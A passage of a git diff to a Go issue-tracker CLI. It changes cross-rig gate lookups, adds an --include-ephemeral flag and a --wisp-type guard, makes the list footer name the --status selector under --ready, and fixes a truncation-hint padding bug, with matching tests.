+ } + + routesPath := filepath.Join(townBeadsDir, "routes.jsonl") + if err := os.WriteFile(routesPath, []byte(`{"prefix":"gt-","path":"rig"}`), 0o644); err != nil { + t.Fatalf("write routes.jsonl: %v", err) + } + + oldDBPath := dbPath + dbPath = townDBPath + t.Cleanup(func() { dbPath = oldDBPath }) + oldWD, err := os.Getwd() + if err != nil { + t.Fatalf("get working directory: %v", err) + } + if err := os.Chdir(townRoot); err != nil { + t.Fatalf("change to town root: %v", err) + } + t.Cleanup(func() { _ = os.Chdir(oldWD) }) + + getter := routedBeadGateGetter{localStore: townStore} + resolved, reason := checkBeadGate(ctx, getter, "rig:gt-closed") + if !resolved { + t.Fatalf("closed cross-rig target did not resolve gate: %s", reason) + } + + resolved, reason = checkBeadGate(ctx, getter, "rig:gt-open") + if resolved { + t.Fatalf("open cross-rig target unexpectedly resolved gate: %s", reason) + } + if !gateTestContainsIgnoreCase(reason, "open") { + t.Fatalf("pending reason %q does not report target status", reason) + } +} diff --git a/cmd/bd/gate_test.go b/cmd/bd/gate_test.go index 73815c9d4..85baf386e 100644 --- a/cmd/bd/gate_test.go +++ b/cmd/bd/gate_test.go @@ -3,10 +3,12 @@ package main import ( "bytes" "context" + "database/sql" "encoding/json" "errors" "io" "os" + "path/filepath" "slices" "sync" "testing" @@ -154,28 +156,53 @@ func TestShouldCheckGate(t *testing.T) { type fakeBeadGateGetter struct { issues map[string]*types.Issue err error + gotID string } func (f *fakeBeadGateGetter) GetIssue(_ context.Context, id string) (*types.Issue, error) { + f.gotID = id if f.err != nil { return nil, f.err } return f.issues[id], nil } -func TestCheckBeadGate_CrossRigStaysPending(t *testing.T) { +func TestCheckBeadGate_CrossRigUsesBeadIDForRoutedLookup(t *testing.T) { ctx := context.Background() + st := &fakeBeadGateGetter{issues: map[string]*types.Issue{ + "gt-abc": {ID: "gt-abc", Status: types.StatusClosed}, + }} - // The cross-rig : form cannot be evaluated since multi-rig - // routing was removed; it must stay pending with the explanatory message, - // never consult the store, and never resolve. + satisfied, reason := checkBeadGate(ctx, st, "gastown:gt-abc") + if !satisfied { + t.Fatalf("expected closed routed bead to satisfy gate, got reason %q", reason) + } + if st.gotID != "gt-abc" { + t.Fatalf("routed lookup ID = %q, want %q", st.gotID, "gt-abc") + } +} + +func TestProxiedFreshReadGetterPreservesLocalNotFoundWhenRoutingUnavailable(t *testing.T) { + withStubbedProxiedLookup(t, nil) + + oldDBPath := dbPath + dbPath = filepath.Join(t.TempDir(), ".beads", "dolt") + t.Cleanup(func() { dbPath = oldDBPath }) + + _, err := (proxiedFreshReadGetter{}).GetIssue(context.Background(), "bd-missing") + if !errors.Is(err, sql.ErrNoRows) { + t.Fatalf("GetIssue error = %v, want original local not-found", err) + } +} + +func TestCheckBeadGate_InvalidCrossRigFormat(t *testing.T) { + ctx := context.Background() tests := []struct { name string awaitID string }{ {name: "missing rig", awaitID: ":gt-abc"}, {name: "missing bead", awaitID: "my-project:"}, - {name: "well-formed cross-rig", awaitID: "nonexistent:some-id"}, } for _, tt := range tests { @@ -184,8 +211,8 @@ func TestCheckBeadGate_CrossRigStaysPending(t *testing.T) { if satisfied { t.Errorf("expected not satisfied for %q", tt.awaitID) } - if !gateTestContainsIgnoreCase(reason, "multi-rig routing removed") { - t.Errorf("reason %q does not contain %q", reason, "multi-rig routing removed") + if !gateTestContainsIgnoreCase(reason, "expected :") { + t.Errorf("reason %q does not describe the expected format", reason) } }) } diff --git a/cmd/bd/list.go b/cmd/bd/list.go index c5e70ef59..0254c9274 100644 --- a/cmd/bd/list.go +++ b/cmd/bd/list.go @@ -240,7 +240,7 @@ func runListCore(cmd *cobra.Command, _ []string) error { } if in.watchMode { - if err := watchIssues(ctx, activeStore, filter, in.ReadyFlag, in.ParentID, in.SortBy, in.Reverse, in.effectiveLimit); err != nil { + if err := watchIssues(ctx, activeStore, filter, in.ReadyFlag, in.ParentID, in.SortBy, in.Reverse, in.effectiveLimit, in.Status); err != nil { if capErr := handleMaxRowsError(err); capErr != nil { return capErr } @@ -315,7 +315,7 @@ func runListCore(cmd *cobra.Command, _ []string) error { return HandleError("loading dependencies for --deps: %v", depErr) } // Hierarchical --parent walks use an unlimited per-level query, so the tree is never page-truncated. - displayPrettyListWithDepsMode(treeIssues, false, allDeps, in.depsMode, false, in.ReadyFlag) + displayPrettyListWithDepsMode(treeIssues, false, allDeps, in.depsMode, false, in.ReadyFlag, in.Status) printSkipLabelsFooter(in.SkipLabels) return nil } @@ -324,7 +324,7 @@ func runListCore(cmd *cobra.Command, _ []string) error { if depErr != nil && in.depsMode != "" { return HandleError("loading dependencies for --deps: %v", depErr) } - displayPrettyListWithDepsMode(issues, false, allDeps, in.depsMode, truncated, in.ReadyFlag) + displayPrettyListWithDepsMode(issues, false, allDeps, in.depsMode, truncated, in.ReadyFlag, in.Status) printTruncationHint(truncated, in.effectiveLimit) printSkipLabelsFooter(in.SkipLabels) return nil @@ -470,6 +470,14 @@ func init() { // Infra type filtering: exclude agent/role/message by default listCmd.Flags().Bool("include-infra", false, "Include infrastructure beads (agent/role/message) in output") + // Ephemeral plane: the wisps table is suppressed by default. This is the + // PLANE knob on its own — ListRequest.IncludeEphemeral — as distinct from + // --include-infra, which admits the plane AND lifts the infra-type + // exclusions above. Without it the plane is reachable from the CLI only + // through --include-infra's wider bundle, which leaves --wisp-type below + // with no narrow way to match anything. + listCmd.Flags().Bool("include-ephemeral", false, "Include ephemeral wisp-plane rows in output (normally hidden)") + // Explicit type exclusion listCmd.Flags().StringSlice("exclude-type", nil, "Exclude issue types from results (comma-separated or repeatable, e.g., --exclude-type=convoy,epic)") diff --git a/cmd/bd/list_footer_counts_test.go b/cmd/bd/list_footer_counts_test.go index af5707ff9..0e9fa765a 100644 --- a/cmd/bd/list_footer_counts_test.go +++ b/cmd/bd/list_footer_counts_test.go @@ -58,6 +58,7 @@ func TestListFooterLineCountsAreJustified(t *testing.T) { name string total, open, inProgress int truncated, readyFiltered bool + statusSelector string facts footerFacts }{ { @@ -90,11 +91,19 @@ func TestListFooterLineCountsAreJustified(t *testing.T) { total: 0, open: 0, inProgress: 0, facts: footerFacts{"total": 0, "open": 0, "in_progress": 0}, }, + { + // Explicit --status under --ready is a different pin. The footer + // names that selector and must not reuse the default-open sentence. + name: "ready-filtered, explicit in_progress", + total: 3, open: 0, inProgress: 3, readyFiltered: true, + statusSelector: "in_progress", + facts: footerFacts{"total": 3}, + }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - line := listFooterLine(tt.total, tt.open, tt.inProgress, tt.truncated, tt.readyFiltered) + line := listFooterLine(tt.total, tt.open, tt.inProgress, tt.truncated, tt.readyFiltered, tt.statusSelector) assertEveryNumberIsJustified(t, line, tt.facts) // The headline count always describes the rows actually rendered. @@ -110,7 +119,7 @@ func TestListFooterLineCountsAreJustified(t *testing.T) { // reader cannot distinguish "none exist" from "none survived the filter". func TestListFooterLineReadyOmitsVacuousInProgressCount(t *testing.T) { // 40 in-progress issues match the same query; --ready removed them all. - line := listFooterLine(6, 6, 0, false, true) + line := listFooterLine(6, 6, 0, false, true, "") if strings.Contains(line, "in progress)") { t.Errorf("--ready summary asserts an in-progress count that the filter forced to zero: %q", line) @@ -126,7 +135,7 @@ func TestListFooterLineReadyOmitsVacuousInProgressCount(t *testing.T) { // Without --ready the breakdown is a genuine finding and must survive: this is // the half of the behaviour the fix must not regress. func TestListFooterLineUnfilteredKeepsBreakdown(t *testing.T) { - line := listFooterLine(9, 6, 3, false, false) + line := listFooterLine(9, 6, 3, false, false, "") for _, want := range []string{"Total: 9 issues", "6 open", "3 in progress"} { if !strings.Contains(line, want) { t.Errorf("unfiltered summary lost %q, got: %q", want, line) @@ -157,7 +166,7 @@ func TestDisplayWatchedIssueListReadyFooterDisclosesFilter(t *testing.T) { // for; the footer is what is under test, and this keeps the file free of // the cgo-tagged stub so it still compiles under CGO_ENABLED=0. out := captureStdout(t, func() error { - displayWatchedIssueList(context.Background(), nil, issues, false, true) + displayWatchedIssueList(context.Background(), nil, issues, false, true, "") return nil }) @@ -177,7 +186,7 @@ func TestDisplayPrettyListWithDepsReadyFooterDisclosesFilter(t *testing.T) { } out := captureStdout(t, func() error { - displayPrettyListWithDeps(issues, false, nil, false, true) + displayPrettyListWithDeps(issues, false, nil, false, true, "") return nil }) if strings.Contains(out, "in progress)") { @@ -190,7 +199,7 @@ func TestDisplayPrettyListWithDepsReadyFooterDisclosesFilter(t *testing.T) { // The other half: without --ready the same wrapper must keep the breakdown, // so the fix cannot be "never print counts". plain := captureStdout(t, func() error { - displayPrettyListWithDeps(issues, false, nil, false, false) + displayPrettyListWithDeps(issues, false, nil, false, false, "") return nil }) if !strings.Contains(plain, "in progress)") { @@ -201,7 +210,7 @@ func TestDisplayPrettyListWithDepsReadyFooterDisclosesFilter(t *testing.T) { // Truncation and readiness are independent scopes and both must be disclosed // when both apply — neither may silently mask the other. func TestListFooterLineTruncationDisclosedAlongsideReady(t *testing.T) { - line := listFooterLine(5, 5, 0, true, true) + line := listFooterLine(5, 5, 0, true, true, "") if !strings.Contains(line, "truncated by --limit") { t.Errorf("truncated page must say so even under --ready, got: %q", line) } @@ -212,3 +221,65 @@ func TestListFooterLineTruncationDisclosedAlongsideReady(t *testing.T) { t.Errorf("a truncated page must never be labelled Total: %q", line) } } + +// GH#5832: an explicit --status under --ready is a different pin. The default +// "open only — --ready excludes in_progress" sentence must not be reused. +func TestListFooterLineReadyExplicitStatusNamesSelector(t *testing.T) { + line := listFooterLine(3, 0, 3, false, true, "in_progress") + if strings.Contains(line, "open only") || strings.Contains(line, "excludes in_progress") { + t.Errorf("explicit --status must not reuse the default-open sentence: %q", line) + } + if !strings.Contains(line, "in_progress only") { + t.Errorf("explicit --status footer must name the selected status, got: %q", line) + } + if strings.Contains(line, "in progress)") { + t.Errorf("--ready summary must still omit the vacuous in-progress count: %q", line) + } +} + +// --pretty/--tree/--deps share displayPrettyListWithDepsMode; --watch uses +// displayWatchedIssueList. Both must thread the explicit selector so the +// default-open sentence cannot leak through a wrapper. +func TestDisplayPrettyListWithDepsReadyExplicitStatusFooter(t *testing.T) { + issues := []*types.Issue{ + {ID: "bd-1", Title: "A", Status: types.StatusInProgress, Priority: 1, IssueType: types.TypeTask}, + } + + out := captureStdout(t, func() error { + displayPrettyListWithDeps(issues, false, nil, false, true, "in_progress") + return nil + }) + if strings.Contains(out, "open only") || strings.Contains(out, "excludes in_progress") { + t.Errorf("--status in_progress --ready --pretty reused the default-open sentence: %q", out) + } + if !strings.Contains(out, "in_progress only") { + t.Errorf("--status in_progress --ready --pretty must name the selected status, got: %q", out) + } + + depsOut := captureStdout(t, func() error { + displayPrettyListWithDepsMode(issues, false, nil, "scheduling", false, true, "in_progress") + return nil + }) + if strings.Contains(depsOut, "open only") || strings.Contains(depsOut, "excludes in_progress") { + t.Errorf("--status in_progress --ready --deps reused the default-open sentence: %q", depsOut) + } + if !strings.Contains(depsOut, "in_progress only") { + t.Errorf("--status in_progress --ready --deps must name the selected status, got: %q", depsOut) + } +} + +func TestDisplayWatchedIssueListReadyExplicitStatusFooter(t *testing.T) { + issues := []*types.Issue{ + {ID: "bd-1", Title: "A", Status: types.StatusInProgress, Priority: 1, IssueType: types.TypeTask}, + } + out := captureStdout(t, func() error { + displayWatchedIssueList(context.Background(), nil, issues, false, true, "in_progress") + return nil + }) + if strings.Contains(out, "open only") || strings.Contains(out, "excludes in_progress") { + t.Errorf("--status in_progress --ready --watch reused the default-open sentence: %q", out) + } + if !strings.Contains(out, "in_progress only") { + t.Errorf("--status in_progress --ready --watch must name the selected status, got: %q", out) + } +} diff --git a/cmd/bd/list_helpers_test.go b/cmd/bd/list_helpers_test.go index 64d0a30ef..e205f0323 100644 --- a/cmd/bd/list_helpers_test.go +++ b/cmd/bd/list_helpers_test.go @@ -317,7 +317,7 @@ func TestListDisplayPrettyList_TruncatedSummary(t *testing.T) { } out := captureStdout(t, func() error { - displayPrettyListWithDepsMode(issues, false, nil, "", true, false) + displayPrettyListWithDepsMode(issues, false, nil, "", true, false, "") return nil }) if !strings.Contains(out, "Showing 2 issues") { @@ -343,7 +343,7 @@ func TestDisplayWatchedIssueList_UsesDependencyHierarchy(t *testing.T) { } out := captureStdout(t, func() error { - displayWatchedIssueList(context.Background(), store, []*types.Issue{child, parent}, false, false) + displayWatchedIssueList(context.Background(), store, []*types.Issue{child, parent}, false, false, "") return nil }) diff --git a/cmd/bd/list_input.go b/cmd/bd/list_input.go index 58c039d78..7d12e7c63 100644 --- a/cmd/bd/list_input.go +++ b/cmd/bd/list_input.go @@ -134,6 +134,7 @@ func gatherListInput(cmd *cobra.Command) (listInput, error) { in.IncludeTemplates, _ = cmd.Flags().GetBool("include-templates") in.IncludeGates, _ = cmd.Flags().GetBool("include-gates") in.IncludeInfra, _ = cmd.Flags().GetBool("include-infra") + in.IncludeEphemeral, _ = cmd.Flags().GetBool("include-ephemeral") in.ExcludeTypes, _ = cmd.Flags().GetStringSlice("exclude-type") in.ParentID, _ = cmd.Flags().GetString("parent") @@ -158,6 +159,28 @@ func gatherListInput(cmd *cobra.Command) (listInput, error) { return in, HandleError("invalid wisp-type %q (must be %s)", s, types.ValidWispTypeNames()) } in.WispType = &wt + + // wisp_type is a PREDICATE, not a plane selector (see + // issueops.ListRequest.WispType): it narrows whatever the rest of the + // request admitted. On a default listing that is the durable rows, + // which carry no classification — so this request cannot match a row + // for ANY input, and would report an empty listing rather than the + // unread plane that actually holds the answer. + // + // The request stays LAWFUL at the API layer, where composing to empty + // is the pinned contract. Refusing it belongs HERE, at the CLI, where + // the only thing a human can have meant is the combination that + // answers with rows. + // + // An explicit --type is left alone: an infra type routes to the plane + // by itself, so the request may be satisfiable and this cannot tell + // without the workspace's infra vocabulary, which this layer does not + // load. + if !in.IncludeEphemeral && !in.IncludeInfra && in.IssueType == "" { + return in, HandleErrorWithHint( + fmt.Sprintf("--wisp-type %s cannot match anything here: it filters the wisp_type column, and this listing admits only durable rows, which never carry one", s), + "add --include-ephemeral to admit the ephemeral plane (or --include-infra, which admits it as part of a wider bundle)") + } } in.DeferredFlag, _ = cmd.Flags().GetBool("deferred") diff --git a/cmd/bd/list_output.go b/cmd/bd/list_output.go index 48f5e01d9..7266f3a0a 100644 --- a/cmd/bd/list_output.go +++ b/cmd/bd/list_output.go @@ -5,6 +5,7 @@ import ( "fmt" "io" "os" + "strings" "text/template" "github.com/steveyegge/beads/internal/types" @@ -18,8 +19,23 @@ func printTruncationHint(truncated bool, effectiveLimit int) { if !truncated || effectiveLimit <= 0 || !ui.IsStderrTerminal() { return } - msg := fmt.Sprintf("\nShowing %d issues; more results matched but were hidden by --limit. Use --limit 0 for all, or --limit N to raise the cap.\n", effectiveLimit) - fmt.Fprint(os.Stderr, ui.RenderWarn(msg)) + fmt.Fprint(os.Stderr, formatTruncationHint(effectiveLimit)) +} + +func truncationHintText(effectiveLimit int) string { + return fmt.Sprintf("Showing %d issues; more results matched but were hidden by --limit. Use --limit 0 for all, or --limit N to raise the cap.", effectiveLimit) +} + +func formatTruncationHint(effectiveLimit int) string { + return composeTruncationHint(ui.RenderWarn, truncationHintText(effectiveLimit)) +} + +// composeTruncationHint keeps newlines outside the renderer. lipgloss pads +// blank lines to the widest-line width (alignTextHorizontal shortAmount = +// widestLine - lineWidth) and drops the trailing newline (GH#5685). +func composeTruncationHint(render func(string) string, text string) string { + rendered := strings.TrimRight(render(text), " \t\r\n") + return "\n" + rendered + "\n" } func outputDotFormat(out io.Writer, issues []*types.Issue, depsByIssueID map[string][]*types.Dependency) error { diff --git a/cmd/bd/list_output_test.go b/cmd/bd/list_output_test.go index 42acb561d..dc55af4c8 100644 --- a/cmd/bd/list_output_test.go +++ b/cmd/bd/list_output_test.go @@ -4,9 +4,11 @@ import ( "bytes" "errors" "io" + "regexp" "strings" "testing" + lipgloss "charm.land/lipgloss/v2" "github.com/steveyegge/beads/internal/types" ) @@ -167,3 +169,103 @@ func TestOutputFormattedListWithNoEdgesDoesNotWrite(t *testing.T) { t.Fatalf("zero-edge output made %d writes, want 0", writer.writes) } } + +func TestFormatTruncationHintExactBytes(t *testing.T) { + t.Parallel() + + got := formatTruncationHint(2) + plain := stripANSIForTest(got) + const want = "\nShowing 2 issues; more results matched but were hidden by --limit. Use --limit 0 for all, or --limit N to raise the cap.\n" + if plain != want { + t.Fatalf("truncation hint bytes differ\ngot:\n%q\nwant:\n%q", plain, want) + } + if !strings.HasSuffix(got, "\n") { + t.Fatal("truncation hint missing trailing newline") + } + if strings.HasSuffix(got, "\n\n") { + t.Fatal("truncation hint ended with a double newline") + } + assertNoWhitespaceOnlyLine(t, plain) + + got10 := stripANSIForTest(formatTruncationHint(10)) + if !strings.Contains(got10, "Showing 10 issues;") { + t.Fatalf("limit interpolation missing: %q", got10) + } + if strings.HasPrefix(got10, "\n\n") { + t.Fatalf("leading double newline: %q", got10) + } +} + +func TestComposeTruncationHintRejectsLipglossBlankLinePadding(t *testing.T) { + t.Parallel() + + // Empty lipgloss Style (props==0) is identity — the colorless test + // default, and why RenderWarn("\n"+text+"\n") did not catch GH#5685. + // Foreground sets props so alignTextHorizontal pads blank lines to + // the widest-line width (not terminal width; no PTY required). + style := lipgloss.NewStyle().Foreground(lipgloss.Color("3")) + render := func(s string) string { return style.Render(s) } + text := truncationHintText(2) + + buggy := render("\n" + text + "\n") + got := composeTruncationHint(render, text) + + buggyPlain := stripANSIForTest(buggy) + gotPlain := stripANSIForTest(got) + + padWidth := whitespaceOnlyLineWidth(buggyPlain) + if padWidth == 0 { + t.Fatalf("fixture: styled Render of newline-wrapped text should pad a blank line; got %q", buggyPlain) + } + if padWidth != len(text) { + t.Fatalf("lipgloss pad width = %d, want hint length %d (widest-line width, not terminal width)\nbuggy=%q", padWidth, len(text), buggyPlain) + } + widest := widestNonBlankLineWidth(buggyPlain) + if padWidth != widest { + t.Fatalf("lipgloss pad width = %d, want widest-line width %d\nbuggy=%q", padWidth, widest, buggyPlain) + } + + assertNoWhitespaceOnlyLine(t, gotPlain) + if !strings.HasSuffix(got, "\n") { + t.Fatalf("composeTruncationHint missing trailing newline: %q", got) + } + if strings.HasSuffix(got, "\n\n") { + t.Fatal("composeTruncationHint ended with a double newline") + } + if got == buggy { + t.Fatalf("composeTruncationHint still uses newline-inside-Render bytes:\n%q", got) + } +} + +func stripANSIForTest(s string) string { + return regexp.MustCompile(`\x1b\[[0-9;]*m`).ReplaceAllString(s, "") +} + +func whitespaceOnlyLineWidth(s string) int { + width := 0 + for _, line := range strings.Split(s, "\n") { + if line != "" && strings.TrimSpace(line) == "" && len(line) > width { + width = len(line) + } + } + return width +} + +func widestNonBlankLineWidth(s string) int { + width := 0 + for _, line := range strings.Split(s, "\n") { + if strings.TrimSpace(line) != "" && len(line) > width { + width = len(line) + } + } + return width +} + +func assertNoWhitespaceOnlyLine(t *testing.T, s string) { + t.Helper() + for i, line := range strings.Split(s, "\n") { + if line != "" && strings.TrimSpace(line) == "" { + t.Fatalf("whitespace-only line at index %d (len=%d): %q", i, len(line), line) + } + } +} diff --git a/cmd/bd/list_proxied_server.go b/cmd/bd/list_proxied_server.go index be540dbd8..2a184e254 100644 --- a/cmd/bd/list_proxied_server.go +++ b/cmd/bd/list_proxied_server.go @@ -156,7 +156,7 @@ func runListProxiedWatch(_ *cobra.Command, ctx context.Context, in listInput) er if err != nil { return fmt.Errorf("initial query: %w", err) } - displayPrettyListWithDeps(issues, true, deps, hasMore, in.ReadyFlag) + displayPrettyListWithDeps(issues, true, deps, hasMore, in.ReadyFlag, in.Status) printTruncationHint(hasMore, in.effectiveLimit) lastSnapshot := issueSnapshot(issues) @@ -183,7 +183,7 @@ func runListProxiedWatch(_ *cobra.Command, ctx context.Context, in listInput) er snap := issueSnapshot(issues) if snap != lastSnapshot { lastSnapshot = snap - displayPrettyListWithDeps(issues, true, deps, hasMore, in.ReadyFlag) + displayPrettyListWithDeps(issues, true, deps, hasMore, in.ReadyFlag, in.Status) printTruncationHint(hasMore, in.effectiveLimit) fmt.Fprintf(os.Stderr, "\nWatching for changes... (Press Ctrl+C to exit)\n") } @@ -239,7 +239,7 @@ func renderProxiedListText(ctx context.Context, out io.Writer, issues []*types.I printTruncationHint(truncated, in.effectiveLimit) return nil } - displayPrettyListWithDepsMode(issues, false, depsByIssueID, in.depsMode, truncated, in.ReadyFlag) + displayPrettyListWithDepsMode(issues, false, depsByIssueID, in.depsMode, truncated, in.ReadyFlag, in.Status) printTruncationHint(truncated, in.effectiveLimit) printSkipLabelsFooter(in.SkipLabels) return nil diff --git a/cmd/bd/list_show_filter_modes.go b/cmd/bd/list_show_filter_modes.go index 7573269ee..562f922c4 100644 --- a/cmd/bd/list_show_filter_modes.go +++ b/cmd/bd/list_show_filter_modes.go @@ -156,7 +156,7 @@ func loadWatchedIssues(ctx context.Context, store storage.DoltStorage, filter ty // names its scope instead of asserting an in-progress count the ready filter // forced to zero. A watch loop is where a stale "0 in progress" is most likely // to be read as a live fact, so this is the path that most needs it. -func displayWatchedIssueList(ctx context.Context, store watchListDependencyStore, issues []*types.Issue, truncated, readyFiltered bool) { +func displayWatchedIssueList(ctx context.Context, store watchListDependencyStore, issues []*types.Issue, truncated, readyFiltered bool, statusSelector string) { var allDeps map[string][]*types.Dependency if store != nil { deps, err := store.GetAllDependencyRecords(ctx) @@ -164,7 +164,7 @@ func displayWatchedIssueList(ctx context.Context, store watchListDependencyStore allDeps = deps } } - displayPrettyListWithDeps(issues, true, allDeps, truncated, readyFiltered) + displayPrettyListWithDeps(issues, true, allDeps, truncated, readyFiltered, statusSelector) } // watchIssues returns an error only for the initial query — a failure there @@ -174,7 +174,7 @@ func displayWatchedIssueList(ctx context.Context, store watchListDependencyStore // runListCore route a MaxRows cap violation through handleMaxRowsError for // exit-code-2 semantics instead of watchIssues swallowing it and exiting 0 // (be-x42v.4 follow-up, review MUST-FIX 5). -func watchIssues(ctx context.Context, store storage.DoltStorage, filter types.IssueFilter, ready bool, parentID string, sortBy string, reverse bool, effectiveLimit int) error { +func watchIssues(ctx context.Context, store storage.DoltStorage, filter types.IssueFilter, ready bool, parentID string, sortBy string, reverse bool, effectiveLimit int, statusSelector string) error { // Initial display issues, err := loadWatchedIssues(ctx, store, filter, ready, parentID, sortBy, reverse) if err != nil { @@ -184,7 +184,7 @@ func watchIssues(ctx context.Context, store storage.DoltStorage, filter types.Is // below depends on; what is left is the cut and its verdict, and those are // the shared epilogue's on every other listing this command has. issues, truncated := workapi.FinishPage(issues, "", false, effectiveLimit, false) - displayWatchedIssueList(ctx, store, issues, truncated, ready) + displayWatchedIssueList(ctx, store, issues, truncated, ready, statusSelector) printTruncationHint(truncated, effectiveLimit) lastSnapshot := issueSnapshot(issues) @@ -214,7 +214,7 @@ func watchIssues(ctx context.Context, store storage.DoltStorage, filter types.Is snap := issueSnapshot(issues) if snap != lastSnapshot { lastSnapshot = snap - displayWatchedIssueList(ctx, store, issues, truncated, ready) + displayWatchedIssueList(ctx, store, issues, truncated, ready, statusSelector) printTruncationHint(truncated, effectiveLimit) fmt.Fprintf(os.Stderr, "\nWatching for changes... (Press Ctrl+C to exit)\n") } @@ -256,7 +256,7 @@ func runListProxiedHierarchicalParent(ctx context.Context, uw uow.UnitOfWork, in } // Hierarchical --parent walks use an unlimited per-level query; never page-truncated. - displayPrettyListWithDepsMode(treeIssues, false, depsByIssueID, in.depsMode, false, in.ReadyFlag) + displayPrettyListWithDepsMode(treeIssues, false, depsByIssueID, in.depsMode, false, in.ReadyFlag, in.Status) printSkipLabelsFooter(in.SkipLabels) return nil } diff --git a/cmd/bd/list_tree.go b/cmd/bd/list_tree.go index 2cd17c0af..9b1838727 100644 --- a/cmd/bd/list_tree.go +++ b/cmd/bd/list_tree.go @@ -147,26 +147,28 @@ func printPrettyTree(childrenMap map[string][]*types.Issue, parentID string, pre // There is no --ready arm behind this one: it is the plain tree, so the // summary keeps its status breakdown. func displayPrettyList(issues []*types.Issue, showHeader bool) { - displayPrettyListWithDeps(issues, showHeader, nil, false, false) + displayPrettyListWithDeps(issues, showHeader, nil, false, false, "") } // displayPrettyListWithDeps displays issues in tree format using dependency data. -// readyFiltered must be threaded from the caller's --ready state rather than -// defaulted here: the watch paths reach the summary through this wrapper, and a -// hardcoded false silently restores the vacuous "(N open, 0 in progress)" that -// listFooterLine exists to suppress. -func displayPrettyListWithDeps(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, truncated, readyFiltered bool) { - displayPrettyListWithDepsMode(issues, showHeader, allDeps, "", truncated, readyFiltered) +// readyFiltered and statusSelector must be threaded from the caller's --ready +// / --status state rather than defaulted here: the watch paths reach the +// summary through this wrapper, and a hardcoded false silently restores the +// vacuous "(N open, 0 in progress)" that listFooterLine exists to suppress. +func displayPrettyListWithDeps(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, truncated, readyFiltered bool, statusSelector string) { + displayPrettyListWithDepsMode(issues, showHeader, allDeps, "", truncated, readyFiltered, statusSelector) } // listFooterLine renders the one-line summary under a text listing. // // The status breakdown is only meaningful when the query could have returned -// more than one status. Under --ready it cannot: BuildListFilter pins -// filter.Status to open (internal/workapi/list.go), so every row is open by -// construction and the breakdown degenerates to a tautology — "(N open, 0 in -// progress)" is what it prints for ANY database, including one with a thousand -// in-progress issues matching the same label. +// more than one status. Under --ready the query is status-pinned: the default +// (no --status, or --status all) is still open, so "(N open, 0 in progress)" +// is a tautology for ANY database, including one with a thousand in-progress +// issues matching the same label. An explicit --status is the intersection +// (GH#5832), and the same tautology applies to whatever selector was asked +// for — the footer must name that selector rather than reuse the default-open +// sentence. // // Printed next to a real count that number reads as a finding rather than an // artifact of the flag: "0 in progress" answers the question "is anything in @@ -175,13 +177,14 @@ func displayPrettyListWithDeps(issues []*types.Issue, showHeader bool, allDeps m // construction, say what was excluded instead of asserting a count for it. This // is the same principle as the truncation arm below, which refuses to label a // cut-off page "Total" (GH#5362): a count is only honest alongside its scope. -func listFooterLine(total, open, inProgress int, truncated, readyFiltered bool) string { +func listFooterLine(total, open, inProgress int, truncated, readyFiltered bool, statusSelector string) string { if readyFiltered { // No status breakdown: --ready makes it vacuous. Name the scope instead. + scope := readyFooterScope(statusSelector) if truncated { - return fmt.Sprintf("Showing %d ready issues (open only — --ready excludes in_progress); more match (truncated by --limit). Use --limit 0 for all.", total) + return fmt.Sprintf("Showing %d ready issues (%s); more match (truncated by --limit). Use --limit 0 for all.", total, scope) } - return fmt.Sprintf("Ready: %d issues with no active blockers (open only — --ready excludes in_progress)", total) + return fmt.Sprintf("Ready: %d issues with no active blockers (%s)", total, scope) } if truncated { return fmt.Sprintf("Showing %d issues (%d open, %d in progress); more match (truncated by --limit). Use --limit 0 for all.", @@ -190,14 +193,31 @@ func listFooterLine(total, open, inProgress int, truncated, readyFiltered bool) return fmt.Sprintf("Total: %d issues (%d open, %d in progress)", total, open, inProgress) } +// readyFooterScope names the status pin a --ready listing actually used. +// Empty / "all" still take the open default; an explicit selector is the +// intersection and must not reuse "excludes in_progress" (GH#5832). +func readyFooterScope(statusSelector string) string { + var parts []string + for _, part := range strings.Split(statusSelector, ",") { + part = strings.TrimSpace(part) + if part != "" { + parts = append(parts, part) + } + } + if len(parts) == 0 || (len(parts) == 1 && parts[0] == "all") { + return "open only — --ready excludes in_progress" + } + return strings.Join(parts, ",") + " only" +} + // displayPrettyListWithDepsMode displays issues in tree format. When depsMode is // "scheduling" or "all", the tree also annotates each node's dependency edges and // orders siblings by their scheduling dependencies (see orderSiblingsByDeps). An // empty depsMode is the plain parent-child tree. truncated means the page was cut // by --limit; the summary then says "Showing N" instead of "Total: N" (GH#5362). -// readyFiltered means --ready was in force, which pins the query to open issues — -// see listFooterLine for why the summary must say so. -func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, depsMode string, truncated, readyFiltered bool) { +// readyFiltered means --ready was in force; statusSelector is the --status value +// so the summary names the pin that actually applied — see listFooterLine. +func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, depsMode string, truncated, readyFiltered bool, statusSelector string) { if showHeader { // Clear screen and show header fmt.Print("\033[2J\033[H") @@ -243,7 +263,7 @@ func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDe inProgressCount++ } } - fmt.Println(listFooterLine(len(issues), openCount, inProgressCount, truncated, readyFiltered)) + fmt.Println(listFooterLine(len(issues), openCount, inProgressCount, truncated, readyFiltered, statusSelector)) fmt.Println() fmt.Println("Status: ○ open ◐ in_progress ● blocked ✓ closed ❄ deferred") fmt.Println("Priority: P0–P4 (label only; not a status icon)") diff --git a/cmd/bd/list_wisp_type_reachability_test.go b/cmd/bd/list_wisp_type_reachability_test.go new file mode 100644 index 000000000..20111859c --- /dev/null +++ b/cmd/bd/list_wisp_type_reachability_test.go @@ -0,0 +1,130 @@ +package main + +import ( + "strings" + "testing" + + "github.com/spf13/cobra" +) + +// newWispTypeInputCmd carries only the flags the --wisp-type reachability +// check reads. gatherListInput reads many others, but GetString / GetBool on +// an unregistered flag return zero values, so this stays minimal — the same +// shape as newListInputTestCmd. +func newWispTypeInputCmd() *cobra.Command { + cmd := &cobra.Command{Use: "list"} + f := cmd.Flags() + f.String("wisp-type", "", "") + f.Bool("include-ephemeral", false, "") + f.Bool("include-infra", false, "") + f.StringP("type", "t", "", "") + return cmd +} + +// TestListRegistersIncludeEphemeral pins the flag the guard below points at. +// +// It is the load-bearing half of this change: ListRequest.IncludeEphemeral is +// the plane knob its own doc names as the combination that answers with rows, +// and `bd list` did not register a flag for it. Without this the advice the +// guard prints names a flag that does not exist, which is worse than the +// silence it replaces. 